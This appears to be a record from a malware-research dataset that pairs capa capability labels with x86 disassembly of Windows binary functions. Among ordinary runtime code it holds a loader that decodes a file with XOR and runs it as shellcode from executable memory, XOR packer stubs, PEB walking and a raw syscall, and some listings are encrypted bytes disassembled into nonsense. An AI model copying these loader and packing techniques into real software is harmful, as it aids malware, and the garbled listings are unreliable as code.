joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42082b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42f4b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [0x42d158]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0041364c
mov dword [ebp - 0x14], eax
cmp dword [0x43b3bc], esi
jne 0x42091e
push 0x800
push esi
push str.USER32.DLL
call dword [0x42d168]
mov edi, eax
test edi, edi
jne 0x4208ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4209fe
push esi
push esi
push str.USER32.DLL
call dword [0x42d168]
mov edi, eax
test edi, edi
je 0x4209fe
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4209fe
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43b3bc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43b3c0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43b3c4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43b3cc], eax
test eax, eax
je 0x42091b
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43b3c8], eax
mov edi, dword [ebp - 0x18]
call dword [0x42d160]
test eax, eax
je 0x420943
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x420936
push eax
call dword [0x42d16c]
cmp dword [ebp - 0x14], esi
je 0x420958
push 4
pop eax
jmp 0x420a00
cmp dword [ebp - 0x14], esi
je 0x420958
push dword [0x43b3bc]
call dword [0x42d15c]
push 3
jmp 0x42093d
mov eax, dword [0x43b3c8]
mov ebx, dword [0x42d15c]
cmp eax, edi
je 0x4209b6
cmp dword [0x43b3cc], edi
je 0x4209b6
push eax
call ebx
push dword [0x43b3cc]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4209b6
test eax, eax
je 0x4209b6
call ecx
test eax, eax
je 0x4209ab
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4209ab
test byte [ebp - 8], 1
jne 0x4209b6
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4209e6
mov eax, dword [0x43b3c0]
cmp eax, edi
je 0x4209e3
push eax
call ebx
test eax, eax
je 0x4209e3
call eax
mov esi, eax
test esi, esi
je 0x4209e3
mov eax, dword [0x43b3c4]
cmp eax, edi
je 0x4209e3
push eax
call ebx
test eax, eax
je 0x4209e3
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43b3bc]
call ebx
test eax, eax
je 0x4209fe
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x420a00
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411b2d
mov esp, ebp
pop ebp
ret
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x427e1e
Capabilities:
Encode data using xor

Disassembly:
xor eax, 0x3c244434
xor al, 0xc7
and al, 0x3c
xor al, 0x6c
mov cl, 0x35
xor al, 0xc7
and al, 0x3c
xor al, 0xe5
and al, 0x3c
xor al, 0xac
mov cl, 0x35
xor al, 0xf4
and al, 0x3c
xor al, 0x22
and al, 0x3c
xor al, 0xbc
mov cl, 0x35
xor al, 0x22
and al, 0x3c
xor al, 0x3e
and eax, 0xb1e4343c
xor eax, 0x3c253e34
xor al, 0x5a
and eax, 0xb1f0343c
xor eax, 0x3c255a34
xor al, 0x79
and eax, 0xb1fc343c
xor eax, 0x3c258434
xor al, 0x6d
sub bh, byte [esp + esi]
or byte [ecx + 0x2a6d3435], dh
cmp al, 0x34
xchg esp, eax
sub bh, byte [esp + esi]
push esp
mov bl, 0x35
xor al, 0x94
sub bh, byte [esp + esi]
mov ebx, 0x70343c2a
mov bl, 0x35
xor al, 0xbb
sub bh, byte [esp + esi]
sbb byte [edx], ch
cmp al, 0x34
invalid
Function at 0x5e951e
Capabilities:
Encode data using xor

Disassembly:
jge 0x5e9583
aas
out dx, al
adc bl, bl
pop ecx
xchg esi, eax
sub byte [ecx], bh
fild dword [ebp - 0x575b30c5]
xchg edx, eax
fcmovb st(0), st(3)
xchg esi, eax
daa
push eax
bound edi, qword [esi + 0x55]
fcomp dword [ecx - 0x6a]
xchg dword [ebx + 0x2f289b1c], esp
das
shl ch, cl
salc
sub al, 0x63
lahf
xchg edx, eax
adc bh, bl
mov al, 0x96
sub byte [ebx], dh
mov dl, 0xe6
adc byte [ecx + 0x53], dh
xchg esi, eax
daa
sub ebp, dword [ebx - 0x1a2d8adf]
invalid

Function at 0x5efcbd
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x5efcd8
add esi, 0x1000
lea eax, [ebp - 0x2bc]
push edx
push 0x1c
push eax
push esi
call dword [edx + 0x124b4efd]
pop edx
test eax, eax
je 0x5efdaa
cmp dword [ebp - 0x2ac], 0x1000
jne 0x5efd99
test dword [ebp - 0x2a8], 1
jne 0x5efd99
and dword [ebp - 0x2a8], 0x100
jne 0x5efd99
push esi
push edx
push 4
push esi
call dword [edx + 0x122d3e23]
pop edx
pop esi
test eax, eax
je 0x5efd3c
jmp 0x5efd99
cmp word [esi], 0x5a4d
jne 0x5efd99
mov eax, esi
push ebx
mov ebx, dword [esi + 0x3c]
add eax, ebx
pop ebx
cmp dword [eax], 0x4550
jne 0x5efd99
lea eax, [ebp - 0x28c]
push edx
push 0x28a
push eax
push esi
call dword [edx + 0x122d3cd3]
pop edx
test eax, eax
je 0x5efd99
lea eax, [ebp - 0x28c]
push eax
call fcn.005efc19
test eax, eax
jne 0x5efd92
jmp 0x5efd99
mov eax, esi
jmp 0x5efdaa
mov esi, dword [ebp - 0x2b0]
add esi, dword [ebp - 0x2bc]
jmp 0x5efcd8
pop esi
leave
ret 4
Function at 0x426fd2
Capabilities:
Encode data using xor

Disassembly:
and al, byte [edi - 0x4b]
jnp 0x426f9b
sub ebp, dword [eax]
pop ss
mov byte [ecx - 0x73163852], bh
imul esp, dword [esi], 3
pop ecx
popfd
or ch, byte [edx - 0x64f9f793]
loopne 0x426f18
imul ebx, dword [esi], 8
mov bh, byte [ecx + 0x7755d532]
add al, 0x91
lodsd eax, dword [esi]
scasd eax, dword es:[edi]
mov ecx, 0x411d2ed1
jl 0x426f9b
sti
jo 0x426fa4
aas
imul dword fs:[ecx]
cwde
push esi
sar dword [esi + 0x3fc49936], cl
salc
cmp byte [edx], ah
invalid
or dword [edi + ebp*2 - 0x560d6271], esp
jnp 0x426fd6
outsd dx, dword [esi]
invalid
cmp al, 0x21
pop edi
and esp, esp
jnp 0x426fc7
in al, 0x7b
sub edi, ebp
out dx, eax
mov al, byte [0x3e5db877]
and bh, ch
dec eax
jo 0x426f46
jp 0x426ffe
mov bh, 0xe1
mov bl, 0x19
mov ah, 0x5c
cli
xchg ebp, eax
test ebx, edi
dec ebp
retf
dec ecx
nop
pop ecx
xor al, 1
loop 0x426fc8
add ebp, ebx
sal byte [esi], cl
push esi
outsb dx, byte [esi]
xchg ebx, eax
cmp al, 0xff
outsd dx, dword [esi]
cmp eax, 0xee6e71ac
loopne 0x426f90
jmp [edi + 0x3d]
js 0x426f8e
sub eax, 0x866ff52a
or eax, dword [esi]
scasd eax, dword es:[edi]
pop ebp
push ecx
mov ch, 0x67
cmpsd dword [si], dword es:[di]
Function at 0x486e18
Capabilities:
Encode data using xor

Disassembly:
imul edx, dword [ebx], 0x2f
out dx, eax
sub eax, 0x562db28b
out 0x56, al
aaa
leave
cmp ch, bl
sbb al, 0xef
mov byte [0xbc6269c4], al
into
mov ebp, 0xaac0dc98
jge 0x486e9d
cmpsb byte [esi], byte es:[edi]
jb 0x486e97
hlt
pop edi
aaa
aaa
je 0x486e9c
jno 0x486ea9
jge 0x486ddd
mov al, 0x40
inc eax
lodsd eax, dword [esi]
push 0xc1aa4841
mov es, ecx
or byte [ecx + ecx + 0x4928f729], dh
and al, 0x62
stosd dword es:[edi], eax
mov al, byte [0xdd9fb8ac]
inc ecx
adc byte [edx], bh
jg 0x486e01
in al, dx
stosb byte es:[edi], al
jne 0x486e2a
sbb byte [edi + edx - 0x5e], 0x2f
sbb ecx, dword [edx]
fstp st(0)
and eax, dword [esi + 0xae89df]
imul ecx, dword [eax - 0x71f78bf0], 0xffffffce
das
cmp eax, 0x2f6bbf89
dec esp
and byte [ecx + 0x5f071749], bh
imul edi, dword [ebx - 0x688a4493], 0xffffff8e
mov edi, 0x1d431fcb
xchg bl, al
pop edi
add esi, edi
outsb dx, byte [esi]
into
mov bl, 0xeb
rol dword [ecx + 0x7ee797e3], 0xf1
aas
ljmp 0x61d8
popal
cmc
scasb al, byte es:[edi]
imul esp, dword [edx - 0x798d5090], 0x2c
out 0x13, eax
pushfd
inc ebx
invalid
jo 0x486e4d
scasd eax, dword es:[edi]
jb 0x486e26
sub al, 0xe7
adc ebx, dword [ebx + eax*2 - 0x64d03b73]
inc ecx
xchg ebp, eax
rcl dword [ecx + ebx*4 - 0x56], 0x92
js 0x486e98
in al, dx
push edi
fld qword [ebp + 0x2a505d67]
loop 0x486f14
cld
sbb eax, 0x6ab3b9b0
mov eax, dword [0xbb38abf0]
xor eax, 0x939b7cfc
lodsb al, byte [esi]
js 0x486ec3
ja 0x486f18
loopne 0x486eea
cmc
inc esi
je 0x486ec3
stosb byte es:[edi], al
xor eax, 0xbb9a436d
push es
and bh, byte [ebx - 0x46150fd]
sbb byte [edi], dh
scasb al, byte es:[edi]
fdivrp st(1)
dec esp
rol dword [edx - 0x2f], cl
mov al, 0x2b
add al, 0x33
mov ecx, 0x1e69b722
invalid
dec edx
jle 0x486ed2
jno 0x486f92
jns 0x486f3a
and byte [esi - 0x79d2003d], ah
push edx
dec ecx
and al, byte [eax - 0x2d]
xchg ecx, eax
add edi, dword [edx + ebp*2]
invalid
cmpsb byte [esi], byte es:[edi]
ret
jne 0x486f89
jae 0x486ed0
cmp esi, esp
in al, 0x13
jnp 0x486ed0
fist word [esi - 0x39]
rcl esp, 1
or byte [esi - 0x59b73764], bl
shl dword [ebx + 0x72], 0x66
mov ch, 0xe9
cld
jne 0x486f60
push 0x1baf0522
ljmp 0x609a
sar ch, cl
lcall 0x607d, 0xea2e9360
invalid
sal dword [0x481391c], 0x16
and eax, 0x4248ad30
lodsd eax, dword [esi]
dec eax
inc edx
scasb al, byte es:[edi]
invalid

Function at 0x628cf1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6313c8
cmp edx, dword [eax]
je 0x628d13
add eax, 8
inc ecx
cmp eax, 0x631458
jl 0x628d04
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6313c8]
jne 0x628e41
mov eax, dword [0x639d68]
cmp eax, 1
je 0x628e1b
test eax, eax
jne 0x628d44
cmp dword [0x6312f0], 1
je 0x628e1b
cmp edx, 0xfc
je 0x628e41
lea eax, [ebp - 0x1a4]
lea eax, [ebp + 8]
lea esi, [esi + 0x6313cc]
push 0
push eax
push dword [esi]
call fcn.00629b60
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]

Function at 0xa14000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0xa1400a
jmp 0xa1600f
jmp fcn.007d80b0
Function at 0x406810
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov eax, dword [0x46c1dc]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0x6acb787d
mov eax, dword [ebp - 0x10]
mov ecx, eax
sub ecx, 0xbff3ea8e
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
jg 0x40685e
jmp 0x406848
mov eax, dword [ebp - 0x14]
sub eax, 0xa22471fe
mov dword [ebp - 0x1c], eax
je 0x406903
jmp 0x4068a0
mov eax, dword [ebp - 0x14]
sub eax, 0xbff3ea8f
mov dword [ebp - 0x20], eax
je 0x4068d7
jmp 0x406874
mov eax, dword [ebp - 0x14]
sub eax, 0x51f15fc8
mov dword [ebp - 0x24], eax
je 0x4068c3
jmp 0x40688a
mov eax, dword [ebp - 0x14]
sub eax, 0x6acb787d
mov dword [ebp - 0x28], eax
je 0x4068a5
jmp 0x4068a0
jmp 0x40690b
mov eax, 0xbff3ea8f
mov ecx, 0x51f15fc8
mov edx, dword [ebp - 4]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x10], eax
jmp 0x40690b
mov eax, dword [0x46c1dc]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0xa22471fe
jmp 0x40690b
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [0x46c1dc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0xa22471fe
jmp 0x40690b
mov eax, dword [ebp - 8]
add esp, 0x28
pop ebp
ret
jmp 0x40682c
Function at 0x443b4a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x46ba50]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00441ffa
mov dword [ebp - 0x14], eax
cmp dword [0x46d21c], edi
jne 0x443c3b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x443bc8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x443d1b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x443d1b
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x443d1b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x46d21c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x46d220], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x46d224], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46d22c], eax
test eax, eax
je 0x443c38
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46d228], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x443c60
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x443c53
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x443c75
push 4
pop eax
jmp 0x443d1d
cmp dword [ebp - 0x14], edi
je 0x443c75
push dword [0x46d21c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x443c5a
mov eax, dword [0x46d228]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x443cd3
cmp dword [0x46d22c], esi
je 0x443cd3
push eax
call ebx
push dword [0x46d22c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x443cd3
test eax, eax
je 0x443cd3
call ecx
test eax, eax
je 0x443cc8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x443cc8
test byte [ebp - 8], 1
jne 0x443cd3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x443d03
mov eax, dword [0x46d220]
cmp eax, esi
je 0x443d00
push eax
call ebx
test eax, eax
je 0x443d00
call eax
mov edi, eax
test edi, edi
je 0x443d00
mov eax, dword [0x46d224]
cmp eax, esi
je 0x443d00
push eax
call ebx
test eax, eax
je 0x443d00
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x46d21c]
call ebx
test eax, eax
je 0x443d1b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x443d1d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00443d2c
leave
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0xc1b0474
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x621d641e
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x404430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push edi
push esi
push ebx
sub esp, 0x110
mov ebx, dword [esp + 0x120]
call sym.__errno
test ebx, ebx
mov dword [eax], 0
je 0x404607
cmp byte [ebx], 0
je 0x404472
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_GetFileAttributesA
add esp, 0xc
cmp eax, 0xffffffff
je 0x4045f7
and eax, 0x10
jne 0x404490
call sym.__errno
mov dword [eax], 0x14
xor eax, eax
add esp, 0x110
pop ebx
pop esi
pop edi
ret
push esi
push 0x104
push ebx
lea esi, [esp + 0xc]
push esi
call sym.__fullpath
mov ecx, esi
pop ebx
mov ebx, esi
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
xor eax, 0xffffffff
and edx, eax
and edx, 0x80808080
je 0x4044a6
test edx, 0x8080
jne 0x4044cc
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, ebx
lea edx, [ecx + 0x132]
push edx
call sym._malloc
add esp, 0x10
mov ebx, eax
test eax, eax
je 0x4045e7
push ecx
push ecx
push esi
lea esi, [eax + 0x12c]
push esi
call sym._strcpy
add esp, 0x10
cmp byte [ebx + 0x12c], 0
je 0x404597
mov ecx, esi
mov edi, esi
nop
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
xor eax, 0xffffffff
and edx, eax
and edx, 0x80808080
je 0x404510
test edx, 0x8080
jne 0x404536
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, edi
cmp byte [ecx + ebx + 0x12b], 0x2f
je 0x404597
mov ecx, esi
mov edi, esi
nop
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
xor eax, 0xffffffff
and edx, eax
and edx, 0x80808080
je 0x404550
test edx, 0x8080
jne 0x404576
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, edi
cmp byte [ecx + ebx + 0x12b], 0x5c
je 0x404597
push edx
push edx
push 0x404420
push esi
call sym._strcat
add esp, 0x10
push eax
push eax
push 0x404422
push esi
call sym._strcat
add esp, 0x10
lea edx, [ebx + 0x14]
mov eax, ebx
mov dword [ebx + 0x124], 0xffffffff
mov dword [ebx + 0x128], 0
mov dword [ebx + 0x118], 0
mov word [ebx + 0x11c], 0
mov word [ebx + 0x11e], 0
mov dword [ebx + 0x120], edx
jmp 0x40447f
call sym.__errno
mov dword [eax], 0xc
jmp 0x40447d
call sym.__errno
mov dword [eax], 2
jmp 0x40447d
call sym.__errno
mov dword [eax], 0xe
jmp 0x40447d

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x6cc87b8d
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x7e620456
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x9a7370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x9a738e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x9d0074
push ecx
mov edi, eax
call fcn.009bb198
mov esi, eax
add esp, 8
test esi, esi
jne 0x9a73cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.009bb02e
push esi
call fcn.009bafb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x9aa850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x9aa8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x9d5720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x9aa8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.009bb1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x9aa8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x9d5720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x9aa92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.009bc082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x9aa957
mov word [eax], si
add eax, 2
push eax
call fcn.009bc030
add esp, 4
jmp 0x9aa959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x9aa8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x9aa8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x9aaff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret